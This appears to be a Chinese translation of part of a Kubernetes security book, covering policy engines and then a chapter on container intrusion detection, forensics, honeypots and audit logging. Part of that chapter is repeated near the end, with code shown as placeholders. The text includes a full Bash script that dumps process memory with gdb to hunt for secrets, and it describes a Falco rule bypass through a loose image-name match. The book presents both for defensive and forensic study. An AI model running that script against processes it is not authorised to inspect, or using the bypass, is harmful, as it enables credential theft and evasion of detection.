    match: ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
      resources:
        kinds:
        - Namespace
    validate:
      message: "label 'app.kubernetes.io/name' is required"
      pattern: ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
        metadata:
          labels:
            app.kubernetes.io/name: "?cccode-*"

1

定义了要定位的资源,本例中是命名空间。

2

定义了预期的模式;如果未达到预期,则通过 Webhook 将前述错误消息返回给客户端。

前述 YAML 看起来熟悉吗?这是我们之前介绍的需要 costcenter 标签的示例。

了解更多关于如何从 Gaurav Agarwal 的文章《Kubernetes 上的策略即代码》开始,以及观看 David McKay 在 YouTube 的精彩 Rawkode Live 系列中的《Kyverno 简介》

OPA/GatekeeperKyverno 都是开放式失败的,这意味着如果由 API 服务器 Webhook 调用的策略引擎服务停机并因此无法验证入站更改,则会继续未经验证。根据您的需求,这可能不是您想要的,但背后的原因是防止集群被 DOS 攻击,从而减慢或潜在地使控制平面崩溃。

这两者都具有审计功能以及解决此情况的扫描模式。为了更细致的比较,我们建议您阅读 Chip Zoller 的博文 “Kubernetes 策略比较:OPA/Gatekeeper vs. Kyverno”

现在让我们进一步看看这个领域中的其他选择。

其他策略产品

在处理 Kubernetes 的策略时,我们回顾了一些项目和产品,您可能希望考虑额外使用或作为前面讨论的替代品。

考虑到 Kubernetes 集群不是在真空中运行的,而是在某个环境中,例如您选择的云提供商,您可能已经在使用以下一些功能:

OSO

这是一个用于构建应用程序授权的库。它提供了一组基于名为 Polar 的声明性策略语言的 API,以及一个 CLI/REPL 和一个调试器和 REPL。通过 OSO,您可以表达诸如“这些类型的用户可以查看这些信息”之类的策略,并在应用程序中实施基于角色的访问控制。

Cilium 策略Calico 策略

这些扩展了 Kubernetes 网络策略的功能。

AWS Identity and Access Management (IAM)

这具有从基于身份的策略到基于资源的策略再到组织级别策略的一系列策略。还有更多专业化的产品;例如,在 Amazon EKS 的上下文中,您可以为 Pod 定义 安全组

Google Identity and Access Management (IAM)

这具有丰富而强大的策略模型,类似于 Kubernetes。

Azure 策略

这允许定义业务级别的策略,并且除了提供 Azure RBAC 用于访问控制目的外。

CrossGuard

由 Pulumi 提供的 “策略即代码”,提供定义和强制实施跨云提供商的防护栏。

结论

策略对于保护您的集群至关重要,需要考虑将团队映射到其组和角色。允许跨服务账户进行传递访问的角色可能会提供特权升级的路径。另外,不要忘记威胁建模凭证泄露的影响,并始终为人员使用双因素认证。最后但同样重要的是,尽可能自动化,包括策略测试和验证,在长远来看将会产生回报。

美妙的 Kubernetes 和更广泛的 CNCF 生态系统已经提供了大量开源解决方案,因此根据我们的经验,通常不是找到工具的问题,而是弄清楚在所有可用的十个工具中,哪一个是最好的,并且在船长的孙子接管时仍然得到支持。

本章政策已经讨论完毕,现在我们将转向一个问题:即使尽管我们设置了所有的控制措施,船长还是设法闯入了,我们将如何处理。换句话说,我们将讨论入侵检测系统(IDS)来检测意外活动。Arrrrrrr!

第九章:入侵检测

在本章中,我们将看到容器入侵检测如何利用新的低级 eBPF 接口运行,容器的取证是什么样子,以及如何捕捉已逃过所有其他控制的攻击者。

深度防御意味着限制您在部署的每个安全控制上的信任。没有解决方案是绝对可靠的,但您可以使用入侵检测系统(IDS)以类似运动传感器检测运动的方式检测到意外活动。您的对手已经访问过您的系统,甚至可能已经查看了机密信息,因此 IDS 实时审查您的系统以检测意外行为,并观察或阻止它。IDS 的警报可以触发进一步的防御措施,如转储受损内存或记录网络活动。

入侵检测可以检查文件、网络和内核的读写操作,并使用允许列表或拒绝列表(如seccomp-bpf配置)验证或阻止它们。如果 Hashjack 船长的硬帽黑客集体能够远程访问您的服务器,IDS 可能会被他们使用已知行为特征的恶意软件、扫描网络或文件以寻找更多目标,或者任何其他偏离 IDS 已学习到的进程预期“稳定”基线的程序访问触发。

有些攻击者的攻击活动仅在对手在系统中数周或数月后最终无意中触发 IDS 检测时才被发现。

默认值

稳定行为是我们期望容器进程在正常运行且未受到妥协时执行的操作。我们可以将同样的原则应用于我们收集的任何数据:访问和审计日志、度量和遥测,以及系统调用和网络活动。

要识别与此行为偏离的入侵检测需要安装、维护和监控。默认情况下,大多数系统没有任何入侵检测,除非配置为执行此操作。

威胁模型

入侵检测可以检测到对 BCTL 系统的威胁。如果攻击者成功远程执行代码(RCE)进入容器,他们可能能够控制进程,改变其行为。可能不稳定的行为可能表明存在妥协,例如:

  • 新的或不允许的系统调用(例如创建类似 Bash 或 sh 的 Shell 的 fork 或 exec 系统调用)

  • 任何意外的网络、文件系统、文件元数据或设备访问

  • 应用程序的使用和顺序

  • 未解释的进程或文件

  • 用户或身份设置的更改

  • 系统和内核配置事件

与更广泛系统交互时,进程的任何特性和行为也可能会受到审查。

提示

攻击工具如ccatdockerscan可以在注册表中污染镜像并在容器镜像中安装后门,攻击者可能利用这些镜像在运行时进入您的 Pod。此类意外行为应该被 IDS 注意和报警。

当然,您不希望对合法活动发出警报,因此您授权预期行为。它可以预先配置规则和签名,也可以在非生产环境中观察过程中学习。

这些威胁应该被识别并配置到您的 IDS 系统中以进行警报。本章将介绍如何实现这一点。

传统 IDS

在我们深入了解云原生 IDS 之前,让我们回顾一下多年来突出的其他入侵检测应用程序。

传统入侵检测系统分为网络型(NIDS)或主机型(HIDS),一些工具提供两者兼具的功能。在历史上,它们使用主机内核或网络适配器的信号,并不了解容器使用的 Linux 命名空间。

Linux 自带auditd来监控系统调用事件,但在分布式系统中无法很好地对跨节点的活动进行关联。它也被认为是资源密集型(生成大量日志),并且由于“复杂且不完整”的命名空间进程 ID 跟踪,无法区分命名空间。

SuricataSnortZeek这样的工具会使用规则和脚本引擎检查网络流量,并且可能在同一主机上运行,或者(因为它们往往资源密集)连接到观察网络的专用硬件上。加密或隐写术载荷可能会逃避此类 NIDS 的检测。为了进一步防范这些难缠的攻击者,古老但有效的Tripwire工具会监控主机上文件的未经授权的更改。

IDS 通过预先知道的信息或检测与预期基线的偏差来检测威胁。事先知道的信息可以被视为“签名”,签名可以涉及网络流量和扫描、恶意软件二进制文件或内存。对数据包中的可疑模式、“指纹”应用代码或内存使用情况以及进程活动进行验证,以与应用程序“已知良好”行为的预期规则集相匹配。

一旦识别出签名模式(例如,SUNBURST 流量返回到命令和控制服务器),IDS 就会创建相关的警报。

注意

FireEye 发布了 IDS 配置以侦测SUNBURST。这些配置支持包括 Snort、Yara、IOC 和 ClamAV 在内的各种 IDS 工具。

签名是分布和更新文件,因此您必须定期更新它们以确保检测到新的和最近的威胁。基于签名的方法通常资源消耗较少且误报率较低,但可能无法检测零日攻击和新型攻击。攻击者可以访问防御工具,并确定如何绕过其测试系统中的控制。

如果没有预定义的签名来触发 IDS,可能会检测到异常行为。这依赖于应用程序的“已知良好状态”。

正常应用行为状态的推导定义了“安全”,这使得防御者有责任确保应用程序的正确性,而不是依赖工具来执行通用规则集。

这种观察性方法比签名更强大,因为它可以自主应对新的威胁。这种更通用的保护的代价是更大的资源利用,这可能会影响受保护系统的性能。

签名和异常检测可能会被熟练的对手欺骗、规避,并且有可能被禁用,因此永远不要完全依赖于一个控制。

注意

VirusTotal是一个恶意文件库。当防御者发现攻击时,他们会上传取证中检索到的文件(例如,恶意软件、植入物、C2 二进制文件或加密文件),让研究人员能够在目标之间对技术进行关联,并帮助防御者了解他们的对手、正在使用的攻击以及(幸运的话)如何最好地保护自己。杀毒软件供应商确保他们的产品对 VirusTotal 上的每个恶意文件都有签名,并且新提交的文件会被现有的病毒检测引擎进行匹配扫描。

攻击者使用这些相同的工具确保他们的载荷能够绕过杀毒软件和恶意软件签名扫描器。红队在他们的攻击活动被揭示后有时会被发现将工具和签名泄露到 VirusTotal 上。

基于 eBPF 的 IDS

对每个数据包或系统调用运行 IDS 可能会带来开销并减慢系统速度。

我们在“eBPF”中介绍了 eBPF 作为一种安全有效地扩展 Linux 内核的机制。eBPF 通过非常快的速度避免了一些问题:它被设计用于快速处理数据包,并且现在内核开发者使用它来观察内核中的所有运行时行为。因为它作为受信任的代码在内核中运行,所以它比其他 IDS 和追踪技术受限制较少。

然而,在内核中运行会带来一系列可能的风险,eBPF 子系统和 JIT 编译器已经发生过一些突破,但这些被认为比慢速、不完整的内核开发者追踪解决方案或更容易出错的 IDS 更不危险。

注意

Jeff Dileo 的“Evil eBPF In-Depth Practical Abuses of an In-Kernel Bytecode Runtime”是关于 BPF 及其攻击的良好入门,“Kernel Pwning with eBPF: A Love Story”Valentina Palmiotti是对 eBPF 各个组件的详细介绍。

由于 eBPF 的功能已经得到扩展并更深入地集成到内核中,现在许多 CNIs 和安全产品都使用 eBPF 进行检测和网络,包括CiliumPixieFalco(我们将在下一节详细介绍)。

警告

与所有容器软件一样,漏洞可能导致容器的突破,例如 CVE-2021-31440,其中 Linux 内核 eBPF 验证器中的错误边界计算允许可利用的验证器绕过。

让我们继续讨论 eBPF 在 Kubernetes 中的一些应用。

Kubernetes 和容器入侵检测

在运行时为 Kubernetes 工作负载提供签名和异常检测系统。Kubernetes 和容器 IDS 系统支持命名空间工作负载、主机和网络 IDS。

通过将进程分割为命名空间,您可以使用更多定义明确的元数据来帮助 IDS 做出决策。这种更精细化的数据可以在攻击时提供更大的洞察力,这在决定是否终止运行中的容器时至关重要,因为这可能会影响您的生产工作负载。

这使得容器 IDS 具有优势:它监视的行为仅限于单个容器,而不是整个机器。在单用途容器中,允许行为的定义要小得多,因此 IDS 在阻止不需要的行为时具有更高的策略准确性。考虑到这一点,现在让我们来看看几个特定于容器的 IDS。

Falco

Falco 是一个开源的、云原生的 IDS,可以在容器中或主机上运行。传统上,Falco 需要一个专用的内核模块来运行(其代码加载到内核中),以便与系统调用交互。自 2019 年以来,Falco 也支持 eBPF。eBPF 接口允许从用户空间加载通用代码到内核内存中的 Falco,这意味着更少的定制代码、更少的内核模块,并且通过一个知名接口使用内核监视和强制技术。

当在容器中运行时,它需要对主机具有特权访问或使用具有主机 PID 命名空间访问权限的 CAP_BPF 能力。

在 eBPF 模式下,当进程使用诸如 open() 这样的系统调用与文件交互时,将触发 eBPF 程序,该程序可以在内核虚拟机中运行任意代码以做出决策。根据输入,将接受或阻止动作:

user@host:~ [0]$ docker run --rm -i -t \
  -e HOST_ROOT=/ \
  --cap-add BPF \
  --cap-add SYS_PTRACE \
  --pid=host \
  $(ls /dev/falco* | xargs -I {} echo --device {}) \
  -v /var/run/docker.sock:/var/run/docker.sock \
  falcosecurity/falco-no-driver:latest
DEMO    13:07:48.722501295: Notice A shell was spawned in a container with an attached terminal
  (user=root user_loginuid=-1 <NA> (id=52af6056d922) shell=sh parent=<NA>
  cmdline=sh -c unset $(env | grep -Eo '.*VERSION[^\=]*') && exec bash terminal=34816
  container_id=52af6056d922 image=<NA>)

注意

Falco 基于 Sysdig,这是一个系统内省工具。Sysdig Cloud 提供工作负载和 Kubernetes 性能监控,而 Sysdig Secure 是围绕 Falco 构建的商业产品。

Falco 配备了一系列由社区贡献和维护的规则,包括专门用于管理 Kubernetes 集群的规则:community contributed and maintained rules

  • 意外的入站 TCP 连接:

    • 检测从预期集合之外的端口向 Kubernetes 组件的入站 TCP 流量

    • 允许的入站端口:

      • 6443kube-apiserver 容器)

      • 10252kube-controller 容器)

      • 8443kube-dashboard 容器)

      • 10053100558081kube-dns 容器)

      • 10251kube-scheduler 容器)

  • 意外生成的进程:

    • 检测在 Kubernetes 集群中启动的进程超出预期集合

    • 允许的进程:

      • kube-apiserver(对 kube-apiserver 容器)

      • kube-controller-manager(用于 kube-controller 容器)

      • /dashboard (kube-dashboard 容器)

      • /kube-dns (kube-dns 容器)

      • kube-scheduler (kube-scheduler 容器)

  • 意外文件访问只读:

    • 检测尝试以只读模式访问文件,而不是预期目录列表中的文件

    • 只读文件前缀允许:

      • /public

这些规则形成了一个有用的基础集,可以根据您自己集群特定的安全需求扩展自定义规则。

警告

虽然消费社区贡献的规则几乎总是更好的选择,但没有软件是没有 bug 的。例如,Darkbit 发现了一个Falco 规则绕过,利用宽松的正则表达式规则部署了一个自定义特权代理容器—docker.io/my-org-name-that-ends-with-sysdig/agent

- macro: falco_privileged_containers
  condition: (openshift_image or
              user_trusted_containers or
              container.image.repository in (trusted_images) or
              container.image.repository in (falco_privileged_images) or
              container.image.repository startswith istio/proxy_ or
              container.image.repository startswith quay.io/sysdig)

IDS 的机器学习方法

机器学习(ML)通过模型重播其他 IDS 系统中使用的相同信号,然后预测容器是否受到 compromise。

有许多可用的机器学习 IDS 示例:

  • Aqua Security使用基于 ML 的行为分析来分析和响应容器、网络和主机中的行为。

  • Prisma Cloud的第三层容器间防火墙通过 ML 学习应用组件之间的有效流量。

  • Lacework使用无监督机器学习进行跨云可观察性和对运行时威胁的响应。

  • Accuknox使用无监督机器学习来检测不稳定性并识别潜在攻击,并为零信任网络、应用程序和数据保护提供“身份作为边界”。

容器取证

取证是从不完整或历史来源中重建数据的艺术。在 Linux 中,这涉及捕获进程、内存和文件系统内容以离线审问它们,找到入侵的源头或影响,并检查对抗性技术。

更先进的系统收集更多信息,比如它们已经记录的网络连接信息。在发生严重破坏的情况下,整个集群或帐户可能会被切断与网络的连接,以防止攻击者继续攻击,并且整个系统可以被镜像化和探索。

kube-forensics这样的工具“创建运行中 pod 状态的检查点快照,以便进行离线分析”,因此恶意工作负载可以被转储和终止,系统可以恢复使用。它运行一个带有 PodCheckpoint 自定义资源定义(CRD)的 forensics-controller-manager,以有效地执行 docker inspectdocker diff,最终 docker export。值得注意的是,这不会捕获进程的内存,可能存在未保存到磁盘或在进程启动后被删除的植入物或攻击者工具。

要捕获一个进程的内存,你可以使用像 GDB 这样的标准工具。在容器内使用这些工具是困难的,因为可能需要符号。从容器外部,转储内存并搜索其中的有趣数据是微不足道的,就像这个简单的 Bash 脚本结合了Trufflehog和 GDB 进程转储所演示的那样:

#!/bin/bash
#
# truffleproc — hunt secrets in process memory // 2021 @controlplaneio

set -Eeuo pipefail

PID="${1:-1}"
TMP_DIR="$(mktemp -d)"
STRINGS_FILE="${TMP_DIR}/strings.txt"
RESULTS_FILE="${TMP_DIR}/results.txt"

CONTAINER_IMAGE="controlplane/build-step-git-secrets"
CONTAINER_SHA="51cfc58382387b164240501a482e30391f46fa0bed317199b08610a456078fe7"
CONTAINER="${CONTAINER_IMAGE}@sha256:${CONTAINER_SHA}"

main() {
  ensure_sudo

  echo "# coredumping pid ${PID}"

  coredump_pid

  echo "# extracting strings to ${TMP_DIR}"

  extract_strings_from_coredump

  echo "# finding secrets"

  find_secrets_in_strings || true

 echo "# results in ${RESULTS_FILE}"

  less -N -R "${RESULTS_FILE}"
}

ensure_sudo() {
  sudo touch /dev/null
}

coredump_pid() {
  cd "${TMP_DIR}"

  sudo grep -Fv ".so" "/proc/${PID}/maps" | awk '/ 0 /{print $1}' | (
    IFS="-"
    while read -r START END; do
      START_ADDR=$(printf "%llu" "0x${START}")
      END_ADDR=$(printf "%llu" "0x${END}")
      sudo gdb \
        --quiet \
        --readnow \
        --pid "${PID}" \
        -ex "dump memory ${PID}_mem_${START}.bin ${START_ADDR} ${END_ADDR}" \
        -ex "set confirm off" \
        -ex "set exec-file-mismatch off" \
        -ex quit od |& grep -E "^Reading symbols from"
    done | awk-unique
  )
}

extract_strings_from_coredump() {
  strings "${TMP_DIR}"/*.bin >"${STRINGS_FILE}"
}

find_secrets_in_strings() {
  local DATE MESSAGE
  DATE="($(date --utc +%FT%T.%3NZ))"
  MESSAGE="for pid ${PID}"

  cd "${TMP_DIR}"
  git init --quiet
  git add "${STRINGS_FILE}"
  git -c commit.gpgsign=false commit \
    -m "Coredump of strings ${MESSAGE}" \
    -m "https://github.com/controlplaneio/truffleproc" \
    --quiet

  echo "# ${0} results ${MESSAGE} ${DATE} | @controlplaneio" >>"${RESULTS_FILE}"

  docker run -i -e IS_IN_AUTOMATION= \
    -v "$(git rev-parse --show-toplevel):/workdir:ro" \
    -w /workdir \
    "${CONTAINER}" \
    bash |& command grep -P '\e\[' | awk-unique >> "${RESULTS_FILE}"
}

awk-unique() {
  awk '!x[$0]++'
}

main "${@:-}"

将这个脚本放入procdump.sh中,并针对本地 shell 运行它:

$ procdump.sh $(pgrep -f bash)

你会看到加载到 shell 中的任何高熵字符串或可疑的秘密信息:

 1 # procdump.sh results for pid 5598 (2021-02-23 08:58:54.972Z) | @controlplaneio
 2 Reason: High Entropy
 3 Date: 2021-02-23 08:58:54
 4 Hash: 699776ae32d13685afca891b0e9ae2f1156d2473
 5 Filepath: strings.txt
 6 Branch: origin/master
 7 Commit: WIP
 8
 9 +SECRET_KEY=c0dd1e1eaf1e757e55e118fea7caba55e7105e51eaf1e55c0caa1d05efa57e57
10 +GH_API_TOKEN=1abb1ebab1e5e1ec7ed5c07f1abe118b0071e551005edf1a710c8c10aca5ca1d
警告

作为进程命名空间中的 root 的攻击者可以转储命名空间中任何其他进程的内存。主机进程命名空间中的 root 用户可以在节点上转储任何进程的内存(包括子命名空间)。

通过在使用时从文件系统或密钥管理系统中检索秘密信息来避免云原生应用程序中的这种攻击类型。如果可以在不使用时丢弃内存中的秘密信息,那么您将更加抵御这种攻击。您还可以在内存中加密秘密信息,尽管解密密钥也面临被转储的风险,因此在不使用时也应该丢弃。

蜜罐

船长

虽然入侵检测系统(IDS)可以检测和防止几乎所有对系统的滥用,但我们无法强调没有什么是绝对有效的。应该假设像 Hashjack 船长这样的流氓海盗仍然能够绕过任何谨慎的安全配置。对于攻击者来说,复杂的系统提供了不对称的优势:防御者只需犯一个错误就会受到威胁。

攻击者仍然可能从容器中逃逸或遍历到主机上。或者,如果他们在受 IDS 监管的容器中操纵应用程序的预期行为(例如,通过以不同的标志调用相同的应用程序),他们可能能够读取敏感数据而不触发 IDS 警报。

因此,最后的防线是简单的蜜罐,一个正常的应用程序从不使用的简单服务器或文件。它安静地躺在一个诱人或安全的位置,并在攻击者访问时触发警报。蜜罐可能会被网络扫描触发,或者系统通常不会发出的 HTTP 请求触发。

图 9-1 展示了 BCTL 的蜜罐陷阱困住了可怕的海盗 Hashjack。这样的蜜罐就像使用类似ElastAlert这样的工具来监视、审计和访问永远不应该被访问的 pod 的日志一样简单。

在蜜罐中捕捉攻击者

图 9-1. 在蜜罐中捕捉攻击者

你要捕捉在 pod 网络内操作的攻击者。他们可能扫描本地 IP 范围以查找开放的 TCP 和 UDP 端口。请记住,每个 Kubernetes 工作负载必须是相同的,所以我们不能运行“自定义”pod 来部署单个蜜罐。相反,部署一个专用的 DaemonSet,这样每个节点都会被一个蜜罐 pod 保护。

如果攻击者或内部操作者具有集群 DNS 访问权限,可以读取 Pod 的环境变量,或者具有对 Kubernetes API 的读取权限,则可以看到 DNS 中的 Kubernetes 服务名称和 Pod 名称。他们可能正在寻找一个特定命名的目标。您可以将您的蜜罐服务命名为一个具有吸引力的类似名称(例如“myapp-data”或“myapp-support”)以诱使攻击者。部署蜜罐作为一个 DaemonSet 将确保在任何节点上都有一个等待着,Captain Hashjack 可能会劫掠。

注意

Canary tokens是用于 AWS 和 Slack 等协议的蜜罐,用于探测钥匙、URL、DNS 记录、QR 码、电子邮件地址、文档和二进制文件。它们是可以放置在生产系统和开发者设备中的“微型绊线”,以便检测被攻击。

审计

如在第八章讨论的,Kubernetes 为其接收到的每个 API 请求生成审计日志,并且 IDS 工具可以摄取和监视该信息流以检测意外请求。这可能包括来自已知 IP 范围之外或预期工作时间之外的请求,蜜罐令牌凭证,或试图使用未授权 API(例如,默认服务账户令牌试图获取其命名空间中的所有 Secret 或特权命名空间)。

审计日志级别和深度是可配置的,但正如 CVE-2020-8563 针对 Kubernetes v1.19.2(以及 CVE-2020-8564、CVE-2020-8565、CVE-2020-8566)显示的那样,默认情况并不历史上紧密。一些敏感请求负载信息被持久化到日志中,可以从集群外部读取,然后用于攻击。

意外数据泄漏到日志中正在通过KEP 1753得到缓解:

本 KEP 提议引入一个日志过滤器,可以应用于所有 Kubernetes 系统组件的日志,以防止各种类型的敏感信息通过日志泄露……确保敏感数据不能轻易存储在日志中。通过改进的代码审查政策阻止危险的日志记录操作。使用日志过滤器对敏感信息进行遮蔽。这些措施共同有助于防止敏感数据在日志中暴露。

它可以在kubelet标志--experimental-logging-sanitization中在 v1.20+版本中使用。

将 Secrets 泄漏到日志和审计流中在所有技术组织中都很常见,这也是避免使用环境变量存储敏感信息的另一个原因。开发人员需要运行程序时的内省和有用输出,但在开发过程中进行调试时清理日志的做法却很少见。这些调试字符串最终不可避免地进入生产环境,因此搜索日志以检测 Secrets 也许是唯一实用的方法。

注意

引起日志清理关注的漏洞包括:

CVE-2020-8563

vSphere Provider kube-controller-manager 中的日志中泄漏的 Secrets

CVE-2020-8564

当文件格式不正确且logLevel >= 4 时,Docker 配置 Secrets 泄漏

CVE-2020-8565

CVE-2019-11250 的不完全修复允许在 logLevel >= 9 时日志中泄露令牌

CVE-2020-8566

logLevel >= 4 时,Ceph RBD adminSecrets 在日志中暴露

你可以在Kubernetes 论坛上阅读披露内容。

检测逃逸

Brad GeesamanIan ColdwaterRSA 2020 展示了绕过 Kubernetes 审计日志的方法。正如图 9-2 所示,Kubernetes 控制平面中的 etcd 数据存储非常高效和可靠,但不支持大数据大小。这意味着超过 256 KB 的请求负载在审计日志中将不会被存储,从而使超大日志条目可以实现隐蔽行为。

注意

能够访问 API 服务器的攻击者可以黑洞、重定向或篡改存储在本地的任何审计日志。作为事后检查的一部分,探索攻击者的路径非常有用,因此直接将 API 服务器的审计日志发送到远程 Webhook 后端可以防范此类攻击。配置 API 服务器使用标志 --audit-webhook-config-file 将日志远程发送,或者使用一个为您配置好此项的托管服务。

haku 0902

图 9-2. 超大 etcd 日志 (RSA 2020)

安全运营中心

较大的组织可能拥有负责管理安全信息和事件(SIEM)的安全运营中心(SOC)。

配置企业应用程序以便在您的审计和 pod 日志上设置警报需要进行精细调整,以避免误报和不必要的警报。您可以使用本地集群构建自动化测试,并捕获审计日志事件,然后使用该数据配置您的 SIEM。最后,重新运行您的自动化测试以确保在生产系统中正确引发警报。

您应该对生产系统运行红队安全测试,以验证蓝队控制是否按预期工作。这为系统配置的攻击树和威胁模型提供了真实的测试。

结论

入侵检测是云原生系统的最后防线。eBPF 方法在现代内核上速度更快,性能开销很小。敏感或面向 Web 的工作负载应始终由 IDS 保护,因为它们有最大的被妥协风险。

现在我们将转向最薄弱环节及其自然栖息地:组织。

第九章:入侵检测

在本章中,我们将看到容器入侵检测如何使用新的低级 eBPF 接口运行,容器的取证是什么样子,以及如何捕捉已逃避所有其他控制的攻击者。

防御深度意味着限制您对每个部署的安全控制的信任。没有解决方案是绝对可靠的,但您可以使用入侵检测系统(IDS)类似于运动传感器检测运动的方式来检测系统中的意外活动。您的对手已经访问了您的系统,甚至可能已经查看了机密信息,因此 IDS 会实时审查您的系统以检测并观察或阻止意外行为。警报可以触发 IDS 的进一步防御措施,例如转储受损内存或记录网络活动。

入侵检测可以检查文件、网络和内核的读写操作,以验证或阻止它们使用允许列表或拒绝列表(如seccomp-bpf配置所做的)。如果 Hashjack 船长的硬帽黑客集体可以远程访问您的服务器,入侵检测系统可能会因其使用带有已知行为特征签名的恶意软件、扫描网络或文件以寻找更多目标,或任何其他与 IDS 学习的预期“稳定”基线偏离的程序访问而触发。

一些攻击者的攻击活动仅在对手在系统上存在几周或几个月后才被发现,最终无意中触发 IDS 检测。

默认设置

稳定的行为是我们期望容器进程在正常运行时执行的,而不是被妥协的状态。我们可以对收集的任何数据应用相同的原则:访问和审计日志、指标和遥测,以及系统调用和网络活动。

入侵检测以识别与此行为偏离相关的威胁需要安装、维护和监控。默认情况下,大多数系统没有任何入侵检测,除非进行了配置。

威胁模型

入侵检测可以检测到对 BCTL 系统的威胁。如果攻击者通过远程代码执行(RCE)进入容器,他们可能能够控制该进程,从而改变其行为。可能表明存在威胁的非稳定行为可能包括:

  • 新的或不允许的系统调用(也许是 fork 或 exec 系统调用以创建像 Bash 或 sh 这样的 shell)

  • 任何意外的网络、文件系统、文件元数据或设备访问

  • 应用程序的使用和顺序

  • 未经说明的进程或文件

  • 用户或身份设置的更改

  • 系统和内核配置事件

当与更广泛的系统交互时,进程的属性和行为也可能受到审查。

小贴士

攻击工具如ccatdockerscan可以在镜像注册表中毒害镜像,并在容器镜像中安装后门,攻击者可能会在运行时使用它们来进入您的 Pods。这种意外行为应该由您的 IDS 察觉并发出警报。

当然,您不希望因为合法活动而受到警报,因此您可以授权预期的行为。这可以通过预配置的规则和签名或在非生产环境中观察过程中学习来实现。

这些威胁应被识别并配置以警报您的 IDS 系统。本章将介绍如何操作。

传统 IDS

在我们深入讨论原生云 IDS 之前,让我们先看看多年来突出的几款其他入侵检测应用程序。

传统入侵检测系统分为基于网络或主机的 IDS(NIDS 或 HIDS),一些工具同时提供两者。这些工具历来使用主机内核或网络适配器的信号,但未意识到容器使用的 Linux 命名空间。

Linux 内置了auditd来跟踪系统调用事件,但在分布式系统中,这不能很好地关联活动。它也被认为是笨重的(生成大量日志),且由于“复杂且不完整”的命名空间进程 ID 跟踪,无法区分命名空间。

SuricataSnortZeek这样的工具,通过规则和脚本引擎检查网络流量,并可在同一主机上运行,或者(由于资源密集型)连接到被观察网络的专用硬件上。加密或隐写载荷可能会逃脱此类 NIDS 的检测。为了进一步防范这些隐秘的攻击者,老牌而有效的Tripwire工具监视主机上文件的未授权更改。

IDS 通过使用有关已知信息或检测与预期基线的偏差来检测威胁。事先已知的信息可以被视为“签名”,这些签名可以与网络流量和扫描、恶意软件二进制文件或内存相关联。数据包中的任何可疑模式、“指纹”应用代码或内存使用以及进程活动,都会与从应用的“已知良好”行为中导出的预期规则集进行验证。

一旦确定了签名模式(例如,SUNBURST 流量返回到命令和控制服务器),IDS 就会创建相关的警报。

注意

FireEye 发布了 IDS 配置来检测 SUNBURST。这些配置支持包括 Snort、Yara、IOC 和 ClamAV 在内的各种 IDS 工具。

签名是分发和更新的文件,因此您必须定期更新它们,以确保检测到新的和最近的威胁。基于签名的方法通常资源消耗较少且假阳性的可能性较小,但可能无法检测到零日和新型攻击。攻击者可以访问防御工具,并确定如何绕过其自己的测试系统中的控制。

如果没有预定义的签名来触发 IDS,则可能会检测到异常行为。这依赖于应用程序的“已知良好状态”。

正常应用行为状态的派生定义了“安全”,这使得防御者有责任确保应用程序的正确性,而不是工具来强制执行通用规则集。

这种观察方法比签名更强大,因为它可以自主地对抗新的威胁。这种更广泛的保护的代价是更大的资源利用,可能会影响被保护系统的性能。

签名和异常检测可能会被熟练的对手欺骗、规避,并可能被禁用,因此永远不要完全依赖于单一控制。

注意

VirusTotal是一个恶意文件库。当防御者发现攻击时,他们会上传法证检索到的文件(例如恶意软件、植入物、C2 二进制文件或加密文件),允许研究人员跨目标关联技术,并帮助防御者了解他们的对手、正在使用的攻击方法,以及(幸运的话)如何最好地保护自己。防病毒软件供应商确保其产品对 VirusTotal 上的每个恶意文件都有签名,并通过现有病毒检测引擎扫描新提交的文件。

攻击者使用这些同样的工具来确保他们的载荷能够绕过防病毒和恶意软件签名扫描器。红队在攻击活动揭晓后,有时会被发现将工具和签名泄漏到 VirusTotal 上。

基于 eBPF 的 IDS

对每个数据包或系统调用运行 IDS 可能会增加开销并减慢系统运行速度。

我们在《eBPF》中介绍了 eBPF 作为一种安全高效地扩展 Linux 内核的机制。eBPF 通过极其快速的特性避免了一些问题:它被设计用于快速数据包处理,现在内核开发者使用它来观察内核中所有内容的运行时行为。因为它作为内核中的受信任代码运行,比其他 IDS 和追踪技术受到的限制更少。

然而,在内核中运行也带来了一系列潜在的风险,并且 eBPF 子系统和 JIT 编译器也有过一些突破,但这些被认为比慢、不完整的内核开发者追踪解决方案或更容易出错的 IDS 风险小。

注意

Jeff Dileo《Evil eBPF 深度实用滥用:内核字节码运行时的实际应用》是关于 BPF 及其攻击的良好入门,并由Valentina Palmiotti撰写的《用 eBPF 入侵内核:一段爱的故事》详细介绍了 eBPF 的各个组成部分。

由于 eBPF 的功能已被扩展并深度集成到内核中,现在许多 CNIs 和安全产品都使用 eBPF 进行检测和网络操作,包括CiliumPixieFalco(我们在下一节中详细介绍)。

警告

与所有容器软件一样,漏洞可能导致容器突破,就像CVE-2021-31440中 Linux 内核 eBPF 验证程序中的错误边界计算允许可利用的验证器绕过一样。

让我们继续探讨 eBPF 在 Kubernetes 中的一些应用。

Kubernetes 和容器入侵检测

Kubernetes 工作负载在运行时有可用的签名和异常检测系统。Kubernetes 和容器 IDS 系统支持命名空间工作负载、主机和网络 IDS。

通过将进程分割成命名空间,您可以使用更明确定义的元数据来帮助 IDS 做出决策。这种更细粒度的数据可以在攻击发生时提供更大的洞察力,这在决定是否终止正在运行的容器时可能会影响到您的生产工作负载时至关重要。

这为容器 IDS 提供了一个优势:它所监视的行为仅限于单个容器,而不是整个机器。在单用途容器中,允许行为的定义要小得多,因此 IDS 在阻止不需要的行为时具有更高的策略精度。有了这个理念,现在让我们来看看几个特定于容器的 IDS。

Falco

Falco 是一个开源的、云原生的 IDS,可以运行在容器中或主机上。传统上,Falco 需要一个专用的内核模块来运行(将其代码加载到内核中),以便与系统调用进行交互。自 2019 年以来,Falco 还支持 eBPF。eBPF 接口允许通用代码从用户空间加载到内核内存中,这意味着更少的自定义代码、更少的内核模块,并且通过一个众所周知的接口使用内核监视和执行技术。

在容器中运行时,需要对主机进行特权访问或者使用具有主机 PID 命名空间访问权限的 CAP_BPF 功能。

在 eBPF 模式下,当进程使用诸如 open() 等系统调用与文件交互时,将触发 eBPF 程序,该程序可以在内核 VM 中运行任意代码来做出决策。根据输入,操作将被接受或阻止:

[PRE0]

[PRE1]

注意

Falco 基于 Sysdig,一个系统内省工具。Sysdig Cloud 提供工作负载和 Kubernetes 性能监控,而Sysdig Secure是围绕 Falco 构建的商业产品。

